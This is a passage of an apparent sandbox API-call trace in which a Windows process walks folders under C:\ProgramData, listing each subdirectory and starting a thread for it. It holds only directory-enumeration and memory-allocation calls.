cAlternateFileName="{68306~1.250")) returned 1 [0147.825] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1 [0147.825] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1 [0147.825] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x9356e0 [0147.825] wcscpy (in: _Dest=0x9356e0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.825] wcscat (in: _Dest=0x9356e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.826] wcscat (in: _Dest=0x9356e0, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0147.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9356e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1430 [0147.827] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0147.827] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1 [0147.827] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1 [0147.827] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935788 [0147.827] wcscpy (in: _Dest=0x935788, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.827] wcscat (in: _Dest=0x935788, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.827] wcscat (in: _Dest=0x935788, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0147.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1434 [0147.828] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0147.828] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1 [0147.828] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1 [0147.828] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x935830 [0147.828] wcscpy (in: _Dest=0x935830, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.828] wcscat (in: _Dest=0x935830, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.828] wcscat (in: _Dest=0x935830, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0147.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1438 [0147.829] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0147.829] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1 [0147.829] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1 [0147.829] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9358d8 [0147.829] wcscpy (in: _Dest=0x9358d8, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.829] wcscat (in: _Dest=0x9358d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.830] wcscat (in: _Dest=0x9358d8, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0147.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9358d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x143c [0147.831] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0147.831] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1 [0147.831] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1 [0147.831] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x935980 [0147.831] wcscpy (in: _Dest=0x935980, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.831] wcscat (in: _Dest=0x935980, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.831] wcscat (in: _Dest=0x935980, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0147.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1440 [0147.832] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0147.832] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1 [0147.832] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1 [0147.832] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x935a28 [0147.832] wcscpy (in: _Dest=0x935a28, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.832] wcscat (in: _Dest=0x935a28, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.832] wcscat (in: _Dest=0x935a28, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0147.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1444 [0147.833] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0147.834] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1 [0147.834] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1 [0147.834] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c86b0 [0147.834] wcscpy (in: _Dest=0xd4c86b0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.834] wcscat (in: _Dest=0xd4c86b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.834] wcscat (in: _Dest=0xd4c86b0, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0147.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c86b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1448 [0147.835] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0147.835] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1 [0147.835] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1 [0147.835] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x935ad0 [0147.835] wcscpy (in: _Dest=0x935ad0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.835] wcscat (in: _Dest=0x935ad0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.835] wcscat (in: _Dest=0x935ad0, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0147.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144c [0147.836] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0147.836] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2=".") returned 1 [0147.836] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2="..") returned 1 [0147.836] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935b78 [0147.836] wcscpy (in: _Dest=0x935b78, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.836] wcscat (in: _Dest=0x935b78, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.836] wcscat (in: _Dest=0x935b78, _Source="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0147.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1450 [0147.838] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0147.838] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2=".") returned 1 [0147.838] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2="..") returned 1 [0147.838] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c8740 [0147.838] wcscpy (in: _Dest=0xd4c8740, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.838] wcscat (in: _Dest=0xd4c8740, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.838] wcscat (in: _Dest=0xd4c8740, _Source="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0147.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c8740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1454 [0147.839] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0147.839] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2=".") returned 1 [0147.839] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2="..") returned 1 [0147.839] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c87d0 [0147.839] wcscpy (in: _Dest=0xd4c87d0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.839] wcscat (in: _Dest=0xd4c87d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.839] wcscat (in: _Dest=0xd4c87d0, _Source="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0147.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c87d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1458 [0147.840] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0147.840] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2=".") returned 1 [0147.840] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2="..") returned 1 [0147.840] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c8860 [0147.840] wcscpy (in: _Dest=0xd4c8860, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.840] wcscat (in: _Dest=0xd4c8860, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.840] wcscat (in: _Dest=0xd4c8860, _Source="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0147.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c8860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x145c [0147.841] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0147.841] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2=".") returned 1 [0147.842] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2="..") returned 1 [0147.842] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x935050 [0147.842] wcscpy (in: _Dest=0x935050, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0147.842] wcscat (in: _Dest=0x935050, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0147.842] wcscat (in: _Dest=0x935050, _Source="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0147.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1460 [0147.843] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0147.843] FindClose (in: hFindFile=0x9420b0 | out: hFindFile=0x9420b0) returned 1 [0147.843] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905830) returned 1 [0147.843] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0147.843] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 Thread: id = 1662 os_tid = 0x7b4 [0139.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x38) returned 0x8d9c10 [0139.693] wcscpy (in: _Dest=0x8d9c10, _Source="C:\\ProgramData\\Start Menu" | out: _Dest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0139.693] wcscat (in: _Dest=0x8d9c10, _Source="\\" | out: _Dest="C:\\ProgramData\\Start Menu\\") returned="C:\\ProgramData\\Start Menu\\" [0139.693] wcscat (in: _Dest=0x8d9c10, _Source="*" | out: _Dest="C:\\ProgramData\\Start Menu\\*") returned="C:\\ProgramData\\Start Menu\\*" [0139.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905a98 [0139.693] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\*", lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.788] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905a98) returned 1 [0140.788] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9c10) returned 1 [0140.788] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9c50) returned 1 Thread: id = 1663 os_tid = 0x658 [0139.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2a) returned 0x8daa60 [0139.694] wcscpy (in: _Dest=0x8daa60, _Source="C:\\ProgramData\\Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0139.694] wcscat (in: _Dest=0x8daa60, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\") returned="C:\\ProgramData\\Sun\\" [0139.694] wcscat (in: _Dest=0x8daa60, _Source="*" | out: _Dest="C:\\ProgramData\\Sun\\*") returned="C:\\ProgramData\\Sun\\*" [0139.694] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905d00 [0139.694] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\*", lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da450 [0140.991] wcscmp (_String1=".", _String2=".") returned 0 [0140.992] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.992] wcscmp (_String1="..", _String2=".") returned 1 [0140.992] wcscmp (_String1="..", _String2="..") returned 0 [0140.992] 